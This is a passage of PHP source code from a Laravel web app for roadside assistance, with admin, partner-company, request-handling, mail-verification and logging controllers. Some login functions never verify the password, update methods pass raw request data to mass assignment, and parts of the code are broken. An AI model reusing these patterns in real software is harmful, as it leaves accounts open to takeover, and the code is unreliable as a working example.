Route::get('/transactionlogs/{id}', 'Web\PartnerCompany\TransactionLogsController@showTransaction');
Route::get('/transactionlogs/downloadSingleTransaction/{id}', 'Web\PartnerCompany\TransactionLogsController@singleTransactionPDF');
Route::post('/transactionlogs/downloadFullTransaction', 'Web\PartnerCompany\TransactionLogsController@fulltransactionPDF');
Route::get('/feedbacks', 'Web\PartnerCompany\FeedbacksController@index');
Route::get('/feedbacks/{ID}', 'Web\PartnerCompany\FeedbacksController@showFeedback');
});
```
PartnerController.php
```<?php
namespace App\Http\Controllers\Web\Admin;
use App\User;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Auth;
class PartnerController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function __construct()
{
$this->middleware('auth:admin');
}
public function index()
{
$users = User::where('UserTypeID', '=', 4)
->get();
return view ('partners.index', compact('users'));
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
return view('partners.create');
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
// User::create($request->all());
// return redirect()->route('partners.index')->with('message','partner has been added successfully');
$this->validate($request, [
'BusinessName' => 'required|max:250|regex:/^[a-zA-Z-. ]*$/',
'Address' => 'required|regex:/^[a-zA-Z-. 0-9]*$/',
'City' => 'required|max:100|regex:/^[a-zA-Z-. ]*$/',
'ZipCode' => 'required|max:4|regex:/^[0-9]*$/',
'BusinessRegistrationNo' => 'required|max:250|regex:/^[0-9]*$/' ,
'LTFRBRegistrationNo' => 'required|max:250|regex:/^[0-9]*$/',
'MobileNo' => 'required|max:11|regex:/^[0-9]*$/',
'Email' => 'required|max:250|unique:users|',
'password' => 'required|min:6|max:250|regex:/^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.*[!@#\$%\^&\*])(?=.{6,})/',
'CPassword' => 'same:password|required',
'g-recaptcha-response' => 'required|captcha',
],[
'BusinessName.required' => 'Please input your Business Name' ,
'BusinessName.max' => 'Your BusinessName input exceeds the maximum length.' ,
'BusinessName.regex' => 'Your BusinessName input is invalid.' ,
'Address.required' => 'Please input your Address',
'Address.regex' => 'Your Address input is invalid.' ,
'City.required' => 'Please input your City ',
'City.max' => 'Your city input exceeds the maximum length.',
'City.regex' => 'Please input a valid city',
'ZipCode.required' => 'Please input your Zip Code',
'ZipCode.max' => 'Your zip code input exceeds the maximum length.',
'ZipCode.regex' => 'Your zip code input is invalid.',
'BusinessRegistrationNo.required' => 'Please input your Business Registration Number' ,
'BusinessRegistrationNo.max' => 'Your Business Registration Number input exceeds the maximum length.' ,
'BusinessRegistrationNo.regex' => 'Your Business Registration Number input is invalid.' ,
'LTFRBRegistrationNo.required' => 'Please input your LTFRB Accreditation Number',
'LTFRBRegistrationNo.max' => 'Your LTFRB Accreditation Number input exceeds the maximum length.' ,
'LTFRBRegistrationNo.regex' => 'Your LTFRB Accreditation Number input is invalid.' ,
'MobileNo.required' => 'Please input your Mobile Number',
'MobileNo.max' => 'Please input a valid Mobile Number.',
'MobileNo.regex' => 'Please input a valid Mobile Number.',
'Email.required' => 'Please input your Email',
'Email.max' => 'Your email input exceeds the maximum length',
'Email.unique' => 'This email is already taken',
'password.required' => 'Please input a Password',
'password.max' => 'Your Password input exceeds the maximum length.',
'password.regex' => 'Your Password input must contain at least one uppercase, lowercase, numerical, and special character.',
'CPassword.required' => 'Please input a Password',
'CPassword.same' => 'Your password input should match.',
]);
$input = $request->all();
$partnercompany = new User($input);
$partnercompany->password = bcrypt($input['password']);
$partnercompany->UserTypeID = 4;
$partnercompany->Status = 'Activated'; //verify email
if($partnercompany->save()){
//user logs insert
$getadminid = Auth::user();
$getid = $getadminid->id;
DB::table('user_logs')
->insert(['UserID' => $getid, 'Type' => "Partner Registration", 'Description' => "Registered Partner Company's Account Successfully"]);
return redirect()->route('partners.index')->with('message','partner has been added successfully');
}
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function search(Request $request){
}
public function show($id)
{
$user = User::find($id);
return view('partners.show', compact('user'));
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
$user = User::find($id);
return view('partners.edit', compact('user'));
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
$this->validate($request, [
'BusinessName' => 'required|max:250|regex:/^[a-zA-Z-. ]*$/',
'Address' => 'required|regex:/^[a-zA-Z-. 0-9]*$/',
'City' => 'required|max:100|regex:/^[a-zA-Z-. ]*$/',
'ZipCode' => 'required|max:4|regex:/^[0-9]*$/',
'BusinessRegistrationNo' => 'required|max:250|regex:/^[0-9]*$/' ,
'LTFRBRegistrationNo' => 'required|max:250|regex:/^[0-9]*$/',
'MobileNo' => 'required|max:11|regex:/^[0-9]*$/',
'Email' => 'required|max:250|email',
'g-recaptcha-response' => 'required|captcha',
],[
'BusinessName.required' => 'Please input your Business Name' ,
'BusinessName.max' => 'Your BusinessName input exceeds the maximum length.' ,
'BusinessName.regex' => 'Your BusinessName input is invalid.' ,
'Address.required' => 'Please input your Address',
'Address.regex' => 'Your Address input is invalid.' ,
'City.required' => 'Please input your City ',
'City.max' => 'Your city input exceeds the maximum length.',
'City.regex' => 'Please input a valid city',
'ZipCode.required' => 'Please input your Zip Code',
'ZipCode.max' => 'Your zip code input exceeds the maximum length.',
'ZipCode.regex' => 'Your zip code input is invalid.',
'BusinessRegistrationNo.required' => 'Please input your Business Registration Number' ,
'BusinessRegistrationNo.max' => 'Your Business Registration Number input exceeds the maximum length.' ,
'BusinessRegistrationNo.regex' => 'Your Business Registration Number input is invalid.' ,
'LTFRBRegistrationNo.required' => 'Please input your LTFRB Accreditation Number',
'LTFRBRegistrationNo.max' => 'Your LTFRB Accreditation Number input exceeds the maximum length.' ,
'LTFRBRegistrationNo.regex' => 'Your LTFRB Accreditation Number input is invalid.' ,
'MobileNo.required' => 'Please input your Mobile Number',
'MobileNo.max' => 'Please input a valid Mobile Number.',
'MobileNo.regex' => 'Please input a valid Mobile Number.',
'Email.required' => 'Please input your Email',
'Email' => 'Your email input is invalid',
]);
User::find($id)->update($request->all());
$getassistant = ['PartnerCompany' => $id];
$assistant = DB::table('users')
->where($getassistant)
->update(['Status' => 'Deactivated']);
$getadminid = Auth::user();
$getid = $getadminid->id;
DB::table('user_logs')
->insert(['UserID' => $getid, 'Type' => "Update Partner", 'TargetUser' => $id, 'Description' => "Updated Partner Company's Account Successfully"]);
// $user->update($request->all());
return redirect()->route('partners.index')->with('message','item has been updated successfully');
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//
}
}
```
Complaints.php
```<?php
namespace REIN;
use Illuminate\Database\Eloquent\Model;
class Complaints extends Model
{
//
protected $fillable =[
'ComplaintsId','TransactionLogId','Complaint','DateSubmitted'
];
}
```
RequestsController.php
```<?php
namespace App\Http\Controllers\Web\PartnerCompany;
use App\Http\Controllers\Controller;
use App\Reports;
use App\User;
use Auth;
use DB;
use FCM;
use Illuminate\Http\Request;
use LaravelFCM\Message\OptionsBuilder;
use LaravelFCM\Message\PayloadDataBuilder;
use LaravelFCM\Message\PayloadNotificationBuilder;
use Mapper;
class RequestsController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function __construct()
{
$this->middleware('auth:partner');
}
public function index()
{
$getpartner = Auth::user();
$partner = $getpartner->id;
$pending = ['status' => 'Pending'];
$accepted = ['status' => 'Pending', 'partner' => $partner];
$assigned = ['status' => 'Assigned'];
$ongoing = ['status' => 'Ongoing'];
$done = ['status' => 'Done'];
$declined = ['status' => 'Declined'];
$notstatus =[$assigned, $ongoing, $done, $declined];
$reports = Reports::where($pending)
->orWhere($accepted)
->WhereNotIn('status', $notstatus)
->with('user')
->get();
// $getmotorist = ['id' => $reports->userID];
// // $motorists = DB::table('users')
// // ->where($getmotorist)
// // ->get();
// dd($getmotorist);
return view ('Partner.Requests', compact('reports')); //, 'motorists'
}
/**s
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
//
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
//
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function showaccept($ID)
{
$reports = Reports::find($ID);
$getmotoristdetails = ['id' => $reports->userID];
$motorist = User::where($getmotoristdetails)->get()->first();
$recordMap = reports::all();
$getLat = Reports::select('Lat')->where('ID', $ID)->pluck('Lat');
$getLon = Reports::select('Lon')->where('ID', $ID)->pluck('Lon');
$map = Mapper::map($getLat, $getLon, ['scrollWheelZoom' => true, 'marker' => true, 'zoom' => 16]);
$getcar = ['ID' => $reports->CarID];
$car = DB::table ('cars')
->where($getcar)
->get()
->first();
$cartype = DB::table('types')
->where('id', '=', $car->carTypeID )
->get()
->first();
$carbrand = DB::table('brand')
->where('id' , '=', $car->brandID)
->get()
->first();
return view('Partner.AcceptRequest', compact('reports', 'motorist', 'car', 'cartype', 'carbrand', 'map'));
}
public function accept($ID)
{
$getpartner = Auth::user();
DB::table('reports')
->where('id', $ID)
->update(['status' => "Accepted", 'partner' => $getpartner->id]);
$report = Reports::find($ID);
DB::table('user_logs')
->insert(['UserID' => $getpartner->id, 'Type' => "Accepted",'ReportsID' => $ID, 'TargetUser' => $report->userID,'Description' => "Request Accepted"]);
return redirect('partner/requests');
// return redirect()->intended(route('partner.requests'));//->with('message', 'Request has been accepted successfully'));
}
public function showassign($ID)
{
$getpartner = Auth::user();
$partner = $getpartner->id;
$getassistant = ['PartnerCompany' => $partner, 'UserTypeID' => '2', 'AssignStatus' => 'Available', 'Status' => 'Activated'];
$reports = Reports::find($ID);
$users = User::where($getassistant)->get();
$getmotoristdetails = ['id' => $reports->userID];
$motorist = User::where($getmotoristdetails)->get()->first();
$getcar = ['ID' => $reports->CarID];
$car = DB::table ('cars')
->where($getcar)
->get()
->first();
$getLat = Reports::select('Lat')->where('ID', $ID)->pluck('Lat');
$getLon = Reports::select('Lon')->where('ID', $ID)->pluck('Lon');
$map = Mapper::map($getLat, $getLon, ['scrollWheelZoom' => true, 'marker' => true, 'zoom' => 16]);
$cartype = DB::table('types')
->where('id', '=', $car->carTypeID )
->get()
->first();
$carbrand = DB::table('brand')
->where('id' , '=', $car->brandID)
->get()
->first();
// dd($car);
return view('Partner.AssignRequest', compact('reports', 'users', 'motorist', 'car', 'cartype', 'carbrand'));
}
public function assign(Request $request, $id)
{
$getpartner = Auth::user();
$partner = $getpartner->id;
$assistant = $request->input('assistant');
DB::table('reports')
->where('id', $id)
->update(['status' => "Assigned", 'assistant' => $assistant]);
DB::table('users')
->where('id', $assistant)
->update(['AssignStatus' => "Not Available"]);
DB::table('user_logs')
->insert(['UserID' => $partner, 'Type' => "Assigned", 'TargetUser' => $assistant, 'ReportsID' => $id, 'Description' => "Request Assigned"]);
$optionBuilder = new OptionsBuilder();
$optionBuilder->setTimeToLive(60 * 20);
$notificationBuilder = new PayloadNotificationBuilder('Assigned Task');
$notificationBuilder->setBody('Please go to the service site immediately')
->setSound('default');
$dataBuilder = new PayloadDataBuilder();
$dataBuilder->addData(['status' => 'Assigned', 'id' => $id]);
$option = $optionBuilder->build();
$notification = $notificationBuilder->build();
$data = $dataBuilder->build();
$report = Reports::find($id);
$UserFCMToken = User::find($report->userID);
$UserFCMToken2 = User::find($report->assistant);
// dd($UserFCMToken);
if ($UserFCMToken->token == null) {
} else {
$downstreamResponse = FCM::sendTo($UserFCMToken->token, $option, $notification, $data);
$downstreamResponse = FCM::sendTo($UserFCMToken2->token, $option, $notification, $data);
}
return redirect('partner/requests');
//return redirect()->intended(route('partner.requests'))->with('message','item has been updated successfully');
}
public function showdecline($ID)
{
$reports = Reports::find($ID);
$getpartner = Auth::user();
$getmotoristdetails = ['id' => $reports->userID];
$motorist = User::where($getmotoristdetails)->get()->first();
$getcar = ['ID' => $reports->CarID];
$car = DB::table ('cars')
->where($getcar)
->get()
->first();
$getLat = Reports::select('Lat')->where('ID', $ID)->pluck('Lat');
$getLon = Reports::select('Lon')->where('ID', $ID)->pluck('Lon');
$map = Mapper::map($getLat, $getLon, ['scrollWheelZoom' => true, 'marker' => true, 'zoom' => 16]);
$cartype = DB::table('types')
->where('id', '=', $car->carTypeID )
->get()
->first();
$carbrand = DB::table('brand')
->where('id' , '=', $car->brandID)
->get()
->first();
$getdeclinedrequests = ['partner' => $getpartner->id, 'status' => 'Declined'];
$declinerequests = DB::table('reports')
->where($getdeclinedrequests)
->count();
return view('Partner.DeclineRequest', compact('reports', 'motorist', 'car', 'cartype', 'carbrand', 'map', 'declinerequests'));
}
public function decline($ID)
{
$getpartner = Auth::user();
DB::table('reports')
->where('id', $ID)
->update(['status' => "Declined", 'partner' => $getpartner->id]);
$getdeclinedrequests = ['partner' => $getpartner->id, 'status' => 'Declined'];
$declinerequests = DB::table('reports')
->where($getdeclinedrequests)
->count();
$report = Reports::find($ID);
DB::table('user_logs')
->insert(['UserID' => $getpartner->id, 'Type' => "Declined",'ReportsID' => $ID, 'TargetUser' => $report->userID,'Description' => "Request Declined"]);
return view('partner/requests');
}
public function destroy($id)
{
}
}
```
UserLogs.php
```<?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class UserLogs extends Model
{
//
protected $fillable =[
'ID','Type', 'UserID', 'Description', 'TargetUser', 'ReportsID', 'PaymentsID', 'Date'
];
public function user()
{
return $this->belongsTo('App\User', 'UserID');
}
}
```
AdminFunctionController.php
```<?php
namespace App\Http\Controllers\Web\Admin;
use App\User;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Auth;
use Hash;
class AdminFunctionController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function __construct()
{
$this->middleware('auth:admin');
}
public function index()
{
$users = User::where('UserTypeID', '=', 1)
->get();
return view ('adminfunction.index', compact('users'));
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
return view('adminfunction.create');
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
$this->validate($request, [
'FirstName' => 'required|max:250|regex:/^[a-zA-Z-. ]*$/' ,
'LastName' => 'required|max:250|regex:/^[a-zA-Z-. ]*$/' ,
'Email' => 'required|max:250|unique:users|email',
'password' => 'required|min:6|max:250|regex:/^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.*[!@#\$%\^&\*])(?=.{6,})/',
'CPassword' => 'same:password|required',
'g-recaptcha-response' => 'required|captcha',
],
[
'FirstName.required' => 'Please input your Firstname.' ,
'FirstName.max' => 'Your firstname input exceeds the maximum length.' ,
'FirstName.regex' => 'Your firstname input is invalid.' ,
'LastName.required' => 'Please input your Lastname.' ,
'LastName.max' => 'Your lastname input exceeds the maximum length.' ,
'LastName.regex' => 'Your lastname input is invalid.' ,
'Email.required' => 'Please input your email address',
'Email.max' => 'Your email address input exceeds the maximum length.',
'Email.unique' => 'This email is already taken',
'Email.regex' => 'Your email address input is invalid.',
'Email' => 'Your email input is invalid.',
'password.required' => 'Please input a password.',
'password.min' => 'Your password input is too short.',
'password.max' => 'Your password input exceeds the maximum length.',
'password.regex' => 'Your password input must contain at least one uppercase, lowercase, numerical, and special character.',
'CPassword.same' => 'Your password input should match.',
'CPassword.required' => 'Your password input a password.',
]);
// if ($validator->fails()) {
// return response()->to(['error'=>$validator->errors()], 401);
// }
$input = $request->all();
$admin = new User($input);
$admin->password = bcrypt($input['password']);
$admin->UserTypeID = 1;
$admin->Status = 'Activated';
if($admin->save()){
//user logs insert
$getadminid = Auth::user();
$getid = $getadminid->id;
DB::table('user_logs')
->insert(['UserID' => $getid, 'Type' => "Admin Registration", 'Description' => "Registered an Admin Account Successfully"]);
return redirect()->route('adminfunction.index');
}
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
$user = User::find($id);
return view('adminfunction.show', compact('user'));
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
$user = User::find($id);
return view('adminfunction.edit', compact('user'));
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
$this->validate($request, [
'Email' => 'required|max:250|email',
'g-recaptcha-response' => 'required|captcha',
],
[
'Email.required' => 'Please input your email address',
'Email.max' => 'Your email address input exceeds the maximum length.',
'Email.regex' => 'Your email address input is invalid.',
'Email' => 'Your email input is invalid.',
]);
User::find($id)->update($request->all());
$getadminid = Auth::user();
$getid = $getadminid->id;
DB::table('user_logs')
->insert(['UserID' => $getid, 'Type' => "Update Admin", 'TargetUser' => $id, 'Description' => "Updated Admin's Account Successfully"]);
// $user->update($request->all());
return redirect()->route('adminfunction.index');
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//
}
}
```
FeedbacksController.php
```<?php
namespace App\Http\Controllers\API;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use App\Feedbacks;
use Illuminate\Support\Facades\Auth;
use Validator;
class FeedbacksController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index()
{
//
$records = Feedbacks::all();
if(count($records)> 0){
return Feedbacks::all();
}else{
return response()->json("No Records Found");
}
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*
*/
public function store(Request $request)
{
$validator = Validator::make($request->all(), [
'reportID',
'review' => 'required',
'DateSubmitted',
]);
if ($validator->fails()) {
return response()->json(['error'=>$validator->errors()], 401);
}
$input = $request->all();
$feedbacks = Feedbacks::create($input);
return response()->json("Success",200);
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show(Request $request)
{
if (Auth::check()) {
$results = Feedbacks::find($request);
return $results;
}
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
//
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//
}
}
```
WebAdminController.php
```<?php
namespace App\Http\Controllers\Web;
use App\User;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Auth;
class WebAdminController extends Controller
{
public function index() {
//Admin Login View
return view('admin.Login');
}
public function home() {
//Admin Home (Dashboard) View
return view('admin.Home');
}
public function partners() {
//list of partners get method
return view('admin.Partners');
}
public function viewPartners(){
//List of Partners View post method
}
public function partnerProfile() {
//Profile of Partners View get method
return view ('admin.ViewPartner');
}
public function viewPartnerProfile() {
//Profile of Partners View post method
}
public function add() {
//Register Partner View
return view ('admin.AddPartner');
}
public function addPartner(Request $request) {
//Register Partner
$validator = Validator::make($request->all(), [
'BusinessName' => 'required' ,
'Address' => 'required',
'City' => 'required',
'ZipCode' => 'required',
'BusinessRegistrationNo' => 'required' ,
'LTFRBRegistrationNo' => 'required',
'MobileNo' => 'required',
'Email' => 'required',
'password' => 'required|min:6',
'CPassword' => 'same:password',
// 'Status',
'DateCreated'
]);
if ($validator->fails()) {
return response()->to(['error'=>$validator->errors()], 401);
}
$input = $request->all();
$partnercompany = new User($input);
$partnercompany->Password = bcrypt($input['Password']);
//$user = users::create($input);
$partnercompany->UserTypeID = 2;
if($admin->save()){
return view('admin.Partners');
} else {
return "{Error: failed insert}";
}
}
public function updatePartner() {
//Update or Suspend a Partner Account View
return view ('admin.UpdatePartner');
}
public function logs() {
//Tranaction Logs View
return view ('admin.TransactionLogs');
}
public function motorists() {
//List of Motorists View
return view ('admin.Motorists');
}
public function updateMotorist() {
//Suspend Pprofile of Motorists View
return view ('admin.UpdateMotorist');
}
public function motoristProfile() {
//Profile of Motorists View
return view ('admin.ViewMotorist');
}
//AdminRegister
public function register(Request $request)
{
return view('admin.AdminRegister');
}
public function addAdmin(Request $request)
{
$validator = Validator::make($request->all(), [
'FirstName' => 'required' ,
'LastName' => 'required',
'Email' => 'required|',
'password' => 'required|min:6',
'CPassword' => 'same:password',
]);
if ($validator->fails()) {
return response()->to(['error'=>$validator->errors()], 401);
}
$input = $request->all();
$admin = new User($input);
$admin->password = bcrypt($input['password']);
//$user = users::create($input);
$admin->UserTypeID = 1;
if($admin->save()){
return view('admin.Home');
} else {
return "{Error: failed insert}";
}
}
public function login(Request $request){
$Credentials = ['Email' => request('Email'), 'Password' => request('Password'),];
$Password = bcrypt(request('Password'));
if(User::where('Email', request('Email'), ('Password' ) )){
return view ('admin.Home');
}
else {
return 'Login Failed';
}
}
}
```
UserActivityController.php
```<?php
namespace App\Http\Controllers\Web\Admin;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\DB;
use App\UserLogs;
use Illuminate\Support\Carbon;
class UserActivityController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function __construct()
{
$this->middleware('auth:admin');
}
public function index()
{
$userlogs = UserLogs::with('user')
->get();
// dd($userlogs);
date_default_timezone_set('Asia/Manila');
$start = Carbon::now();
$end = Carbon::now();
return view('Admin.UserActivity',compact('userlogs', 'user', 'start', 'end'));
}
public function daterange(Request $request)
{
date_default_timezone_set('Asia/Manila');
$start = Carbon::parse($request->start)->startOfDay();
$end = Carbon::parse($request->end)->endOfDay();
$userlogs = UserLogs::whereBetween('Date', array(new Carbon($start), new Carbon($end)))
->with('user')
->get();
return view('Admin.UserActivity',compact('userlogs', 'start', 'end'));
}
function showUserActivity($ID) {
$userlogs = DB::table('user_logs')
->where('ID',$ID)
->get()
->first();
$getuserid = ['id' => $userlogs->UserID];
$causer = DB::table('users')
->where($getuserid)
->get()
->first();
$gettargetuser = ['id' => $userlogs->TargetUser];
$targetuser = DB::table('users')
->where($gettargetuser)
->get()
->first();
$getreport = ['ID' => $userlogs->ReportsID];
$report = DB::table('reports')
->where($getreport)
->get()
->first();
// $getfeedback = ['reportID' => $report->ID];
// $feedback = DB::table('feedbacks')
// ->where($getfeedback)
// ->get()
// ->first();
$getpayment = ['ID' => $userlogs->PaymentsID];
$payment = DB::table('payments')
->where($getpayment)
->get()
->first();
return view('Admin.ShowUserActivity',
compact('userlogs', 'causer', 'targetuser',
'report', 'payment')); //'feedback',
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
//
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
//
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
//
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
//
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
//
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//
}
}
```
MailController.php
```<?php
namespace App\Http\Controllers\API;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\DB;
use Validator;
use Mail;
use App\User;
class MailController extends Controller
{
public function html_email(Request $request){
$email = $request->Email;
$random = str_random(8);
// dd($random);
$flight = User::where('Email', $email)->update(["code" => $random]);
// $flight->code = $random;
// $flight->save();
Mail::send('Mail', ["data" => $request, "rand" => $random], function($message) use ($email) {
$message->to($email,$email)->subject
('Verification');
$message->from('rein.inquiry@gmail.com','REIN APP');
});
return response()->json(["Email" => "Hello"], 201);
}
public function verify (Request $request){
$user = User::where("code", $request->id)->get();
if($user->count() != 0)
$flight = User::where('code',$request->id)->update(["code" => "", "Status" => "Activated"]);
return view("verified");
}
}
```
SearchController.php
```<?php
namespace App\Http\Controllers\Web\Admin;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Input;
use App\Http\Controllers\Controller;
use App\User;
class SearchController extends Controller
{
public function search() {
$q = Input::get('q');
$user = User::where('FirstName', 'LIKE', '%'.$q.'%')->orWhere('LastName', 'LIKE', '%'.$q.'%');
if (count($user) > 0) {
return view('partners.result')->withDetails($user)->withQuery($q);
} else {
return view('partners.result')->withMeassage('No user found. Search again.');
}
}
}
```
MotoristController.php
```<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use App\Motorist;
use Illuminate\Support\Facades\Auth;
use Validator;
class Motoristcontroller extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index()
{
//
$records = motorists::all();
if(count($records)> 0){
return motorists::all();
}else{
return response()->json("asd");
}
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
//
$results = motorists::find($request);
return $results;
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
// public function show($id)
// {
// //
// $validators = Validator::make($request->all(), [
// 'LastName' => 'required|max:250',
// 'FirstName' => 'required|max:250',
// 'MobileNo' => 'required|max:100',
// 'Birthday' => 'required|max:100',
// 'Address' => 'required|max:100',
// 'City' => 'required|max:100',
// 'ZipCode' => 'required|max:100',
// 'Email' => 'required|max:100',
// 'Password' => 'requirmax:100',
// 'Status' => 'required|max:100',
// 'DateCreated' => 'required',
// ]);
// $validators = Validator::make($request->all(), $rules);
// if ($validator-> fails()){
// return $this->respondValidationError('Fields Validation Failed.', $validator->errors()); {
// }
// }
//}
public function login(){
$password = bcrypt(request('Password'));
if(Motorist::where('Email', request('Email'))){
$user = Auth::Motorist();
$success['token'] = $user->createToken('Rein')-> accessToken;
return response()->json(['success' => $success], 200);
}
else{
return response()->json(['error'=>'Unauthorised'], 401);
}
}
/**
* Register api
*
* @return \Illuminate\Http\Response
*/
public function register(Request $request)
{
$validator = Validator::make($request->all(), [
'CarID',
'LastName' ,
'FirstName',
'MobileNo',
'BirthDay',
'Address',
'City',
'ZipCode',
'Email',
'Password',
'CPassword' => 'same:Password',
'Status',
'DateCreated'
]);
if ($validator->fails()) {
return response()->json(['error'=>$validator->errors()], 401);
}
$input = $request->all();
$input['Password'] = bcrypt($input['Password']);
$user = Motorist::create($input);
$success['token'] = $user->createToken('Rein')-> accessToken;
return response()->json(['success'=>$success], 200);
}
}
```
ViewAssistantsController.php
```<?php
namespace App\Http\Controllers\Web\PartnerCompany;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use App\User;
class ViewAssistantsController extends Controller
{
//
public function index() {
$users = User::where('UserTypeID', '=', 3)->get(); //->where('UserTypeID', '=', 2)
return view ('partnerCompany.Assistants', compact('users'));
}
}
```
TransactionLogs.php
```<?php
namespace REIN;
use Illuminate\Database\Eloquent\Model;
class TransactionLogs extends Model
{
//
protected $fillable =[
'TransactionLogId', 'RequestId', 'UserId','ReportID','PaymentId'
];
}
```
Services.php
```<?php
namespace REIN;
use Illuminate\Database\Eloquent\Model;
class Services extends Model
{
//
protected $fillable =[
'ServiceId','ServiceType','ServiceRate'
];
}
```
AdminRegisterController.php
```<?php
namespace App\Http\Controllers\Web\Admin;
use App\User;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Auth;
use Hash;
class AdminRegisterController extends Controller
{
//
public function index()
{
$gettype = ['UserTypeID' => 1];
$users = DB::table('users')
->where($gettype)
->get()
->count();
if ($users < '1'){
return view('Admin.Register');
} else {
return view('admin-auth.admin-login');
}
}
public function register(Request $request) {
$this->validate($request, [
'FirstName' => 'required|max:250|regex:/^[a-zA-Z-. ]*$/' ,
'LastName' => 'required|max:250|regex:/^[a-zA-Z-. ]*$/' ,
'Email' => 'required|max:250|unique:users|email',
'password' => 'required|min:6|max:250|regex:/^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.*[!@#\$%\^&\*])(?=.{6,})/',
'CPassword' => 'same:password|required',
'g-recaptcha-response' => 'required|captcha',
],
[
'FirstName.required' => 'Please input your Firstname.' ,
'FirstName.max' => 'Your firstname input exceeds the maximum length.' ,
'FirstName.regex' => 'Your firstname input is invalid.' ,
'LastName.required' => 'Please input your Lastname.' ,
'LastName.max' => 'Your lastname input exceeds the maximum length.' ,
'LastName.regex' => 'Your lastname input is invalid.' ,
'Email.required' => 'Please input your email address',
'Email.max' => 'Your email address input exceeds the maximum length.',
'Email.unique' => 'This email is already taken',
'Email' => 'Your email input is invalid.',
'password.required' => 'Please input a password.',
'password.min' => 'Your password input is too short.',
'password.max' => 'Your password input exceeds the maximum length.',
'password.regex' => 'Your password input must contain at least one uppercase, lowercase, numerical, and special character.',
'CPassword.same' => 'Your password input should match.',
'CPassword.required' => 'Your password input a password.',
]);
// if ($validator->fails()) {
// return response()->to(['error'=>$validator->errors()], 401);
// }
$input = $request->all();
$admin = new User($input);
$admin->password = bcrypt($input['password']);
